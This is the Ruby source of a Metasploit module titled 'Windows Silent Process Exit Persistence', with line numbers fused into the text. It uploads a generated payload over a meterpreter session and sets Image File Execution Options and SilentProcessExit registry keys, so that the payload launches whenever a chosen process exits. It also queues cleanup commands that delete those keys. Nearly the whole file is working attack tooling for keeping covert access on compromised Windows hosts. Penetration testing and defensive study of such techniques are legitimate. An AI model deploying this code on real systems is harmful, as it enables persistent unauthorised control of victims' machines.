Path: blob/master/modules/exploits/windows/persistence/image_exec_options.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Registry9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Post::Windows::Priv12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/windows/local/persistence_image_exec_options'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Windows Silent Process Exit Persistence',22'Description' => %q{23Windows allows you to set up a debug process when a process exits.24This module uploads a payload and declares that it is the debug25process to launch when a specified process exits.26},27'License' => MSF_LICENSE,28'Author' => [29'Mithun Shanbhag', # earliest author found30'bwatters-r7', # msf module31],32'Platform' => [ 'win' ],33'SessionTypes' => [ 'meterpreter' ],34'Targets' => [35[ 'Automatic', {} ]36],37'DefaultTarget' => 0,38'DisclosureDate' => '2008-06-28',39'Privileged' => true,40'References' => [41['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],42['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']43],44'Compat' => {45'Meterpreter' => {46'Commands' => %w[47stdapi_sys_config_getenv48]49}50},51'Notes' => {52'Stability' => [CRASH_SAFE],53'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],54'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]55}56)57)58register_options([59OptString.new('PAYLOAD_NAME',60[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),61OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])6263])64end6566def writable_dir67d = super68return session.sys.config.getenv(d) if d.start_with?('%')6970d71end7273def check74print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value75return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)7677return CheckCode::Safe('You must be System to run this Module') unless is_system?7879CheckCode::Appears('Likely exploitable')80end8182def upload_payload(dest_pathname)83payload_exe = generate_payload_exe84write_file(dest_pathname, payload_exe)85vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")86end8788def validate_active_host89unless is_system?90fail_with(Failure::NoAccess, 'You must be System to run this Module')91end9293begin94print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")95rescue Rex::Post::Meterpreter::RequestError => e96elog(e)97raise Msf::Exploit::Failed, 'Could not connect to session'98end99end100101def write_reg_keys(image_file, payload_pathname)102reg_keys = []103reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",104value_name: 'GlobalFlag',105type: 'REG_DWORD',106value_value: 512)107reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",108value_name: 'ReportingMode',109type: 'REG_DWORD',110value_value: 1)111reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",112value_name: 'MonitorProcess',113type: 'REG_SZ',114value_value: payload_pathname)115silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'116registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)117reg_keys.each do |key|118registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])119vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")120registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])121unless registry_getvalinfo(key[:key_name], key[:value_name])122print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")123return false124end125end126end127128def install_persistence129validate_active_host130payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))131temp_path = writable_dir132image_file = datastore['IMAGE_FILE']133payload_pathname = temp_path + '\\' + payload_name + '.exe'134vprint_status("Payload pathname = #{payload_pathname}")135upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)136@clean_up_rc << "rm #{payload_pathname}\n"137@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"138@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"139@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"140end141end142143144